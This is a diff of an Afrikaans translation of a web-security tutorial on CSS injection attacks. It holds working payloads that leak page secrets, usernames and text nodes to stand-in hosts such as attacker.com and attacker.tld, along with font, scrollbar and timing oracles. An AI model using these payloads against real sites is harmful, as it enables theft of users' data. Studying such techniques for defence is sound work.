-In plaas daarvan om dieselfde bladsy oor en oor te laai met tientalle verskillende payloads elke keer (soos in die vorige), gaan ons die **bladsy net een keer laai en slegs met 'n import na die aanvallers-bediener** (dit is die payload wat aan die slagoffer gestuur word):
+In plaas daarvan om dieselfde bladsy weer en weer te laai met honderde verskillende payloads elke keer (soos in die vorige), gaan ons die bladsy net een keer laai en slegs met 'n import na die attackers server (dit is die payload om aan die victim te stuur):
 ```css
 @import url("//attacker.com:5001/start?");
 ```
-1. The import is going to **ontvang 'n CSS-skrip** from the aanvallers and the **blaaier sal dit laai**.
+1. Die import gaan **'n CSS-skrip ontvang** van die attackers en die **browser sal dit laai**.
-2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.**
+2. Die eerste deel van die CSS-skrip wat die attacker sal stuur is **nog 'n `@import` na die attackers server**.
-1. Die aanvallers se bediener sal hierdie versoek nog nie beantwoord nie, want ons wil eers 'n paar karakters leak en dan hierdie import beantwoord met die payload om die volgende te leak.
+1. Die attackers server gaan nog nie op hierdie versoek antwoord nie, omdat ons eers 'n paar karakters wil leak en dan hierdie import wil beantwoord met die payload om die volgende te leak.
-3. The second and bigger part of the payload is going to be an **attribute selector leakage payload**
+3. Die tweede en groter deel van die payload gaan 'n **attribute selector leakage payload** wees
-1. Dit sal na die aanvallers se bediener stuur die **eerste karakter van die geheim en die laaste een**
+1. Dit sal na die attackers server stuur die **eerste char van die geheim en die laaste een**
-4. Zodra die aanvallers se bediener die **eerste en laaste karakter van die geheim** ontvang het, sal dit **die import wat in stap 2 versoek is beantwoord**.
+4. Sodra die attackers server die **eerste en laaste char van die geheim** ontvang het, sal dit **antwoord op die import versoek in stap 2**.
-1. Die respons gaan presies dieselfde wees as die **stappe 2, 3 en 4**, maar hierdie keer sal dit probeer om die **tweede karakter van die geheim en dan die voorlaaste** te vind.
+1. Die reaksie gaan presies dieselfde wees as die **stappe 2, 3 en 4**, maar hierdie keer sal dit probeer om die **tweede char van die geheim en dan die voorlaaste** te vind.
 
-Die aanvaller sal **daardie lus volg totdat hy daarin slaag om die geheim heeltemal te leak**.
+Die attacker sal daardie lus volg totdat dit daarin slaag om die geheim heeltemal te leak.
 
 You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
 
 > [!TIP]
-> Die skrip sal probeer om elke keer 2 karakters te ontdek (van die begin en van die einde) omdat die attribute selector toelaat om dinge soos te doen:
+> Die script sal probeer om elke keer 2 chars te ontdek (van die begin en van die einde) omdat die attribute selector toelaat om dinge soos:
 >
 > ```css
 > /* value^=  to match the beggining of the value*/
@@ -93,25 +93,25 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
 > }
 > ```
 >
-> Dit laat die skrip toe om die geheim vinniger te leak.
+> Dit laat die script toe om die geheim vinniger te leak.
 
 > [!WARNING]
-> Soms sal die skrip **nie korrek herken dat die prefix + suffix wat ontdek is reeds die volledige vlag is nie** en dit sal vorentoe (in die prefix) en agtertoe (in die suffix) voortgaan en op 'n stadium sal dit vasloop.\
+> Soms detecteer die script **nie korrek dat die prefix + suffix wat ontdek is reeds die volledige vlag is nie** en dit sal voortgaan vorentoe (in die prefix) en agtertoe (in die suffix) en op 'n stadium sal dit vasloop.\
-> Moenie bekommerd wees nie — kyk net na die **uitset** want **jy kan die vlag daar sien**.
+> Moenie bekommerd wees nie, kyk net na die **output** want **jy kan die vlag daar sien**.
 
 ### Inline-Style CSS Exfiltration (attr() + if() + image-set())
 
 This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
 
 > [!WARNING]
-> Gelykheidsvergelykings in if() vereis dubbele aanhalingstekens vir stringliterale. Enkele aanhalingstekens sal nie ooreenstem nie.
+> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
 
-- Sink: beheer 'n element se style-attribuut en maak seker dat die teikenattribuut op dieselfde element is (attr() lees slegs dieselfde-element-attribuute).
+- Sink: beheer 'n element se style attribute en verseker dat die teiken-attribute op dieselfde element is (attr() lees slegs same-element attributes).
-- Read: kopieer die attribuut na 'n CSS-variabele: `--val: attr(title)`.
+- Read: kopieer die attribute na 'n CSS-variabele: `--val: attr(title)`.
-- Decide: kies 'n URL deur geneste conditionals te gebruik wat die veranderlike met stringkandidate vergelyk: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
+- Decide: kies 'n URL met geneste conditionals wat die veranderlike met string-kandidate vergelyk: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
-- Exfiltrate: pas `background: image-set(var(--steal))` (of enige fetching-eienskap) toe om 'n versoek na die gekose eindpunt af te dwing.
+- Exfiltrate: pas `background: image-set(var(--steal))` toe (of enige ander fetching property) om 'n versoek na die gekose endpoint te dwing.
 
-Poging (werk nie; enkele aanhalingstekens in die vergelyking):
+Attempt (does not work; single quotes in comparison):
 ```html
 <div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
 ```
@@ -119,7 +119,7 @@ Werkende payload (dubbele aanhalingstekens vereis in die vergelyking):
 ```html
 <div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
 ```
-Enumerasie van attribuutwaardes met geneste voorwaardes:
+Opnoem van attribuutwaardes met geneste voorwaardes:
 ```html
 <div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
 ```
@@ -127,20 +127,20 @@ Realistiese demo (probing usernames):
 ```html
 <div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
 ```
-Aantekeninge en beperkings:
+Aantekeninge en beperkinge:
 
-- Werk op Chromium-gebaseerde blaaiers ten tyde van die navorsing; gedrag kan op ander enjinne verskil.
+- Werk op Chromium-based blaaiers ten tyde van die navorsing; gedrag kan op ander engines verskil.
-- Beste geskik vir eindige/uitputbare waarderuimtes (IDs, flags, short usernames). Om ewekansige lang stringe te steel sonder external stylesheets bly uitdagend.
+- Beste geskik vir eindige/enumereerbare waarderuimtes (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets bly uitdagend.
-- Enige CSS-eienskap wat 'n URL opvra, kan gebruik word om die versoek te aktiveer (e.g., background/image-set, border-image, list-style, cursor, content).
+- Enige CSS property wat 'n URL fetch kan gebruik word om die versoek te trigger (e.g., background/image-set, border-image, list-style, cursor, content).
 
-Automation: 'n Burp Custom Action kan nested inline-style payloads genereer om attribute values te brute-force: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
+Automatisering: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
 
 ### Ander selectors
 
 Ander maniere om toegang tot DOM-dele te kry met **CSS selectors**:
 
-- **`.class-to-search:nth-child(2)`**: Dit sal die tweede item met klas "class-to-search" in die DOM soek.
+- **`.class-to-search:nth-child(2)`**: Dit sal die tweede item met class "class-to-search" in die DOM soek.
-- **`:empty`** selector: Gebruik byvoorbeeld in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
+- **`:empty`** selector: Byvoorbeeld gebruik in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
 
 ```css
 [role^="img"][aria-label="1"]:empty {
@@ -148,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
 }
 ```
 
-### Foutgebaseerde XS-Search
+### Error based XS-Search
 
 **Verwysing:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
-Die algemene bedoeling is om **'n custom font from a controlled endpoint te gebruik** en te verseker dat **teks (in hierdie geval, 'A') met hierdie font vertoon word slegs as die gespesifiseerde hulpbron (`favicon.ico`) nie gelaai kan word nie**.
+Die algemene bedoeling is om **'n custom font vanaf 'n controlled endpoint te gebruik** en te verseker dat **teks (in hierdie geval, 'A') slegs met hierdie font vertoon word indien die gespesifiseerde resource (`favicon.ico`) nie gelaai kan word nie**.
 ```html
 <!DOCTYPE html>
 <html>
@@ -174,49 +174,49 @@ font-family: "poc";
 </body>
 </html>
 ```
-1. **Aangepaste Lettertipe Gebruik**:
+1. **Gebruik van Pasgemaakte Lettertipe**:
 
-- ’n Aangepaste lettertipe word gedefinieer met die `@font-face` reël binne ’n `<style>`-tag in die `<head>`-afdeling.
+- ’n Pasgemaakte lettertipe word gedefinieer met die `@font-face` reël binne ’n `<style>`-etiket in die `<head>`-afdeling.
-- Die lettertipe word `poc` genoem en word van ’n eksterne eindpunt opgehaal (`http://attacker.com/?leak`).
+- Die lettertipe het die naam `poc` en word van ’n eksterne eindpunt opgehaal (`http://attacker.com/?leak`).
-- Die `unicode-range` eienskap is gestel op `U+0041`, wat die spesifieke Unicode-karakter 'A' teiken.
+- Die `unicode-range` eienskap is gestel op `U+0041`, en mik op die spesifieke Unicode-karakter 'A'.
 
-2. **Object-element met Fallback-tekst**:
+2. **Object-element met fallback-tekst**:
-- ’n `<object>`-element met `id="poc0"` word in die `<body>`-afdeling geskep. Hierdie element probeer ’n hulpbron laai vanaf `http://192.168.0.1/favicon.ico`.
+- ’n `<object>`-element met `id="poc0"` word in die `<body>`-afdeling geskep. Hierdie element probeer ’n hulpbron van `http://192.168.0.1/favicon.ico` laai.
-- Die `font-family` vir hierdie element is gestel op `'poc'`, soos in die `<style>`-afdeling gedefinieer.
+- Die `font-family` vir hierdie element is op `'poc'` gestel, soos in die `<style>`-afdeling gedefinieer.
-- Indien die hulpbron (`favicon.ico`) misluk om te laai, word die fallback-inhoud (die letter 'A') binne die `<object>`-tag vertoon.
+- As die hulpbron (`favicon.ico`) nie gelaai kan word nie, word die fallback-inhoud (die letter 'A') binne die `<object>`-etiket vertoon.
-- Die fallback-inhoud ('A') sal met die aangepaste lettertipe `poc` gerender word as die eksterne hulpbron nie gelaai kan word nie.
+- Die fallback-inhoud ('A') sal met die pasgemaakte lettertipe `poc` vertoon word indien die eksterne hulpbron nie gelaai kan word nie.
 
-### Stilisering van Scroll-to-Text Fragment
+### Stylering van Scroll-to-Text Fragment
 
-Die **`:target`** pseudo-klas word gebruik om ’n element te kies wat deur ’n **URL-fragment** geteiken is, soos gespesifiseer in die [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Dit is belangrik om te verstaan dat `::target-text` nie by enige elemente pas nie tensy die teks eksplisiet deur die fragment geteiken word.
+Die **`:target`** pseudo-klas word gebruik om ’n element te kies wat deur ’n **URL fragment** geteiken is, soos gespesifiseer in die [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Dit is belangrik om te verstaan dat `::target-text` nie by enige elemente pas nie, tensy die teks eksplisiet deur die fragment geteiken word.
 
-’n Sekuriteitsprobleem ontstaan wanneer aanvalers die **Scroll-to-text** fragment-funksie misbruik, wat hulle in staat stel om die aanwezigheid van spesifieke teks op ’n webblad te bevestig deur ’n hulpbron vanaf hul bediener te laai via HTML-inspuiting. Die metode behels die inspuiting van ’n CSS-reël soos hierdie:
+Daar ontstaan ’n sekuriteitsprobleem wanneer aanvallers die **Scroll-to-text** fragment-funksie misbruik, wat hulle toelaat om die teenwoordigheid van spesifieke teks op ’n webblad te bevestig deur ’n hulpbron vanaf hul bediener te laai via HTML injection. Die metode behels die inspuiting van ’n CSS-reël soos hierdie:
 ```css
 :target::before {
 content: url(target.png);
 }
 ```
-In sulke scenario's, indien die teks "Administrator" op die bladsy teenwoordig is, word die hulpbron `target.png` vanaf die bediener aangevra, wat die teenwoordigheid van die teks aandui. 'n Voorbeeld van hierdie attack kan uitgevoer word deur 'n spesiaal saamgestelde URL wat die ingespuitde CSS saam met 'n Scroll-to-text fragment insluit:
+In sulke scenario's, as die teks "Administrator" op die bladsy teenwoordig is, word die hulpbron `target.png` vanaf die bediener aangevra, wat die teenwoordigheid van die teks aandui. 'n Voorbeeld van hierdie aanval kan uitgevoer word deur 'n spesiaal saamgestelde URL wat die geïnjekteerde CSS saam met 'n Scroll-to-text fragment insluit:
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
-Hier manipuleer die aanval HTML injection om die CSS code oor te dra, gerig op die spesifieke teks "Administrator" deur die Scroll-to-text fragment (`#:~:text=Administrator`). As die teks gevind word, word die aangeduide hulpbron gelaai en dui dit onbedoeld sy teenwoordigheid aan die aanvaller.
+Hier manipuleer die aanval HTML-inspuiting om die CSS-kode oor te dra, gerig op die spesifieke teks "Administrator" deur die Scroll-to-text fragment (`#:~:text=Administrator`). As die teks gevind word, word die aangeduide hulpbron gelaai, wat per ongeluk sy teenwoordigheid aan die aanvaller aandui.
 
-Vir mitigasie moet die volgende punte in ag geneem word:
+Vir mitigering moet die volgende punte in ag geneem word:
 
-1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te pas, en beperk daarmee sy vermoë om arbitrêre secrets of tokens te leak.
+1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te ooreenstem, en beperk sodoende sy vermoë om ewekansige geheime of tokens te leak.
-2. **Restriction to Top-level Browsing Contexts**: STTF werk slegs in top-level browsing contexts en funksioneer nie binne iframes nie, waardeur enige exploitation attempt meer sigbaar vir die gebruiker word.
+2. **Restriction to Top-level Browsing Contexts**: STTF werk slegs in topvlak-blaaikontekste en funksioneer nie binne iframes nie, wat enige eksploitasiepoging meer sigbaar vir die gebruiker maak.
-3. **Necessity of User Activation**: STTF vereis 'n user-activation gesture om te werk, wat beteken dat exploitations slegs deur user-initiated navigations moontlik is. Hierdie vereiste verminder aansienlik die risiko dat attacks sonder gebruikersinteraksie geoutomatiseer word. Die blog post se outeur wys egter op spesifieke toestande en bypasses (bv. social engineering, interaksie met algemene browser extensions) wat die automatisering van die attack kan vergemaklik.
+3. **Necessity of User Activation**: STTF vereis 'n user-activation gesture om te funksioneer, wat beteken dat eksploitasies slegs deur gebruiker-geïnisieerde navigasies moontlik is. Hierdie vereiste verminder aansienlik die risiko dat aanvalle geoutomatiseer word sonder gebruikersinteraksie. Nietemin wys die blogpost se outeur op spesifieke toestande en omseilings (bv. social engineering, interaksie met algemene browser extensions) wat die automatisering van die aanval kan vergemaklik.
 
-Bewustheid van hierdie meganismes en potensiële kwesbaarhede is noodsaaklik om websekuriteit te handhaaf en teen sulke uitbuitende taktieke te beskerm.
+Bewustheid van hierdie meganismes en potensiële kwesbaarhede is noodsaaklik om websekuriteit te handhaaf en te beskerm teen sulke eksploitatiewe taktieke.
 
 For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
 
-You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
+Jy kan 'n [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb) sien.
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-Jy kan **eksterne lettertipes vir spesifieke unicode-waardes** spesifiseer wat slegs **opgelaai sal word as daardie unicode-waardes in die bladsy teenwoordig is**. Byvoorbeeld:
+Jy kan spesifiseer **eksterne fonte vir spesifieke unicode-waardes** wat slegs **gelaai word as daardie unicode-waardes in die bladsy teenwoordig is**. For example:
 ```html
 <style>
 @font-face {
@@ -242,24 +242,24 @@ font-family: poc;
 <p id="sensitive-information">AB</p>
 htm
 ```
-Wanneer jy hierdie bladsy besoek, haal Chrome en Firefox "?A" en "?B" op omdat die text node van sensitive-information die karakters "A" en "B" bevat. Maar Chrome en Firefox haal nie "?C" op nie omdat dit nie "C" bevat. Dit beteken dat ons "A" en "B" kon lees.
+Wanneer jy hierdie bladsy besoek, haal Chrome en Firefox "?A" en "?B" omdat die teksnode van sensitive-information die karakters "A" en "B" bevat. Chrome en Firefox haal egter nie "?C" nie omdat dit nie "C" bevat. Dit beteken dat ons "A" en "B" kon lees.
 
 ### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
+**Verwysing:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
 
-Die beskrywe tegniek behels die onttrekking van teks uit 'n node deur font ligatures te misbruik en veranderinge in breedte te monitor. Die proses bestaan uit verskeie stappe:
+Die beskryfde tegniek behels die onttrekking van teks uit 'n node deur font ligatures uit te buit en veranderinge in breedte te monitor. Die proses bestaan uit verskeie stappe:
 
 1. **Creation of Custom Fonts**:
 
-- SVG fonts word vervaardig met glyphs wat 'n `horiz-adv-x` attribuut het, wat 'n groot breedte vir 'n glyph wat 'n twee-karakter volgorde voorstel, instel.
+- SVG fonts word geskep met glyphs wat 'n `horiz-adv-x` attribuut het, wat 'n groot breedte instel vir 'n glyph wat 'n twee-karakter sekwensie verteenwoordig.
-- Voorbeeld SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, waar "XY" 'n twee-karakter volgorde aandui.
+- Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, waar "XY" 'n twee-karakter sekwensie aandui.
-- Hierdie fonts word dan na woff formaat omskep met fontforge.
+- Hierdie fonts word daarna na woff-formaat omskep met fontforge.
 
 2. **Detection of Width Changes**:
 
 - CSS word gebruik om te verseker dat teks nie ombreek nie (`white-space: nowrap`) en om die scrollbar-styl aan te pas.
-- Die verskyning van 'n horisontale scrollbar, gestileer op 'n kenmerkende manier, dien as 'n indikator (oracle) dat 'n spesifieke ligature, en dus 'n spesifieke karakterreeks, in die teks teenwoordig is.
+- Die verskyning van 'n horisontale scrollbar, wat duidelik gestileer is, dien as 'n aanwyser (oracle) dat 'n spesifieke ligature, en dus 'n spesifieke karaktersekwensie, in die teks teenwoordig is.
 - Die betrokke CSS:
 ```css
 body {
@@ -275,28 +275,28 @@ background: url(http://attacker.com/?leak);
 
 3. **Exploit Process**:
 
-- **Step 1**: Fonts word geskep vir pare karakters met groot breedte.
+- **Step 1**: Fonts word geskep vir pare karakters met 'n aansienlike breedte.
-- **Step 2**: 'n scrollbar-gebaseerde truuk word gebruik om te ontdek wanneer die groot-breedte glyph (ligature vir 'n karakterpaar) gerender word, wat aandui dat die karakterreeks teenwoordig is.
+- **Step 2**: 'n scrollbar-gebaseerde truuk word gebruik om te raak wanneer die groot breedte-glyph (ligature vir 'n karakterpaar) gerender word, wat aandui dat die karaktersekwensie teenwoordig is.
-- **Step 3**: Nadat 'n ligature gedetecteer is, word nuwe glyphs gegenereer wat drie-karakter reekse voorstel, deur die gedeteekte paar te inkorporeer en 'n voorafgaande of volgende karakter by te voeg.
+- **Step 3**: Nadat 'n ligature opgespoor is, word nuwe glyphs geskep wat drie-karakter sekwensies voorstel, deur die opgesporen paar te kombineer met 'n voorafgaande of opvolgende karakter.
-- **Step 4**: Die drie-karakter ligature word gedetecteer.
+- **Step 4**: Opsporing van die drie-karakter ligature word uitgevoer.
-- **Step 5**: Die proses herhaal, en ontbloot stelselmatig die volledige teks.
+- **Step 5**: Die proses herhaal, en openbaar stelselmatig die volledige teks.
 
 4. **Optimization**:
-- Die huidige initsialisasiemetode wat `<meta refresh=...` gebruik, is nie optimaal nie.
+- Die huidige inisialisasiemetode wat `<meta refresh=...` gebruik, is nie optimaal nie.
 - 'n Meer doeltreffende benadering kan die CSS `@import` truuk insluit, wat die exploit se prestasie verbeter.
 
 ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
+**Verwysing:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
 
-Hierdie truuk is vrygestel in hierdie [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Die charset wat in 'n text node gebruik word, kan be-leak word **using the default fonts** geïnstalleer in die browser: geen eksterne of custom fonts is nodig nie.
+Hierdie truuk is vrygestel in hierdie [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Die charset wat in 'n teksnode gebruik word kan leaked word deur die default fonts wat in die blaaier geïnstalleer is: geen eksterne of pasgemaakte fonts is nodig nie.
 
-Die konsep draai om die gebruik van 'n animasie om die breedte van 'n `div` stapsgewys te vergroot, wat een karakter op 'n slag toelaat om van die 'suffix' deel van die teks na die 'prefix' deel oor te gaan. Hierdie proses split die teks effektief in twee gedeeltes:
+Die konsep draai om die gebruik van 'n animasie om 'n `div` se breedte stelselmatig uit te brei, waardeur een karakter op 'n slag kan verskuif van die 'suffix' deel van die teks na die 'prefix' deel. Hierdie proses deel die teks effektief in twee afdelings:
 
-1. Prefix: Die aanvanklike reël.
+1. **Prefix**: Die aanvanklike reël.
-2. Suffix: Die daaropvolgende reël(e).
+2. **Suffix**: Die daaropvolgende reël(e).
 
-Die oorgangsfases van die karakters sal soos volg verskyn:
+Die oorgangstadia van die karakters sal soos volg verskyn:
 
 **C**\
 ADB
@@ -309,15 +309,15 @@ B
 
 **CADB**
 
-Tydens hierdie oorgang word die **unicode-range trick** gebruik om elke nuwe karakter te identifiseer namate dit by die prefix aansluit. Dit word bereik deur die font na Comic Sans te skakel, wat merkbaar hoër is as die default font, en gevolglik 'n vertikale scrollbar veroorsaak. Die verskyning van hierdie scrollbar openbaar indirek die teenwoordigheid van 'n nuwe karakter in die prefix.
+Gedurende hierdie oorgang word die **unicode-range trick** gebruik om elke nuwe karakter te identifiseer soos dit by die prefix aansluit. Dit word bereik deur die font na Comic Sans te skakel, wat aansienlik hoër is as die standaardfont, en gevolglik 'n vertikale scrollbar aktiveer. Die verskyning van hierdie scrollbar openbaar indirek die teenwoordigheid van 'n nuwe karakter in die prefix.
 
-Alhoewel hierdie metode die detectie van unieke karakters soos hulle verskyn toelaat, spesifiseer dit nie watter karakter herhaal word nie — slegs dat 'n herhaling plaasgevind het.
+Alhoewel hierdie metode die opsporing van unieke karakters soos hulle verskyn toelaat, spesifiseer dit nie watter karakter herhaal word nie — net dat 'n herhaling plaasgevind het.
 
 > [!TIP]
-> Basies, die **unicode-range is used to detect a char**, maar omdat ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.\
+> Basies word die **unicode-range** gebruik om 'n char te identifiseer, maar aangesien ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.\
-> Wanneer die **char** **found** is, word dit die vooraf-geïnstalleerde **Comic Sans font** gegee, wat die char **bigger** maak en 'n scroll bar **triggers** wat die **leak the found char** sal veroorsaak.
+> Wanneer die **char** **gevind** word, kry dit die vooraf-geïnstalleerde **Comic Sans font**, wat die char **groter** maak en 'n scroll bar **trigger**, wat die gevonde char **leak**.
 
-Kyk na die kode onttrek uit die PoC:
+Check the code extracted from the PoC:
 ```css
 /* comic sans is high (lol) and causes a vertical overflow */
 @font-face {
@@ -742,17 +742,17 @@ div::-webkit-scrollbar:vertical {
 background: blue var(--leak);
 }
 ```
-### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset met 'n verstek-lettertipe deur elemente te versteek (vereis nie eksterne assets nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
 **Verwysing:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Hierdie geval is baie soortgelyk aan die vorige; in hierdie geval is die doel om sekere **chars groter as ander te maak om iets te versteek** soos 'n knoppie wat nie deur die bot gedruk moet word nie, of 'n image wat nie gelaai sal word nie. Ons kan dus die aksie (of die gebrek aan aksie) meet en daarmee vasstel of 'n spesifieke char in die teks voorkom.
+Hierdie geval is baie soortgelyk aan die vorige; in hierdie geval is die doel om spesifieke **chars groter as ander te maak om iets te versteek** soos 'n knop sodat dit nie deur die bot gedruk word nie of 'n image wat nie gelaai sal word nie. Ons kan dus die aksie (of die gebrek aan die aksie) meet en weet of 'n spesifieke char in die teks teenwoordig is.
 
 ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
 **Verwysing:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-In hierdie geval kan ons probeer om te leak of 'n char in die teks is deur 'n fake font vanaf dieselfde origin te laai:
+In hierdie geval kan ons probeer leak of 'n char in die teks is deur 'n fake font van dieselfde origin te laai:
 ```css
 @font-face {
 font-family: "A1";
@@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
 unicode-range: U+0041;
 }
 ```
-If daar 'n ooreenkoms is, sal die **font will be loaded from `/static/bootstrap.min.css?q=1`**. Al sal dit nie suksesvol laai nie, behoort die **blaaier dit te cache**, en selfs as daar geen cache is nie, is daar 'n **304 not modified**-meganisme, so die **response behoort vinniger** te wees as ander dinge.
+As daar 'n ooreenkoms is, sal die **font vanaf `/static/bootstrap.min.css?q=1` gelaai word**. Al sal dit nie suksesvol laai nie, behoort die **browser dit te cache**, en selfs as daar geen cache is nie, is daar 'n **304 not modified**-meganisme, so die **respons behoort vinniger te wees** as ander dinge.
 
-As die tydverskil tussen die gecachede response en die nie-gecachede een egter nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die outeur het genoem: Na toetsing het ek gevind dat die eerste probleem is dat die spoed nie veel verskil nie, en die tweede probleem is dat die bot die `disk-cache-size=1` flag gebruik, wat regtig bedag is.
+As die tydsverskil tussen die gecachte respons en die nie-gecachte een nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die outeur noem: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
 
 ### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Verwysing:** Dit word genoem as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Verwysing:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-In hierdie geval kan jy aandui **CSS to load hundreds of fake fonts** vanaf dieselfde oorsprong wanneer 'n ooreenkoms plaasvind. Op hierdie manier kan jy die **tyd meet** wat dit neem en uitvind of 'n char verskyn of nie met iets soos:
+In hierdie geval kan jy **CSS gebruik om honderde fake fonts te laai** vanaf dieselfde oorsprong wanneer 'n match plaasvind. Op hierdie manier kan jy **die tyd meet** wat dit neem en uitvind of 'n char verskyn of nie met iets soos:
 ```css
 @font-face {
 font-family: "A1";
@@ -777,13 +777,13 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
 unicode-range: U+0041;
 }
 ```
-En die bot se kode lyk soos volg:
+En die bot se code lyk soos volg:
 ```python
 browser.get(url)
 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
 time.sleep(30)
 ```
-Dus, indien die lettertipe nie ooreenstem nie, word daar verwag dat die reaksietyd wanneer die bot besoek word ongeveer 30 sekondes sal wees. As daar egter wel 'n lettertipe-ooreenkoms is, sal verskeie versoeke gestuur word om die lettertipe op te haal, wat voortdurende netwerkaktiwiteit veroorsaak. Gevolglik sal dit langer neem om die stopvoorwaarde te bevredig en die antwoord te ontvang. Daarom kan die reaksietyd as 'n aanwyser gebruik word om te bepaal of daar 'n lettertipe-ooreenkoms is.
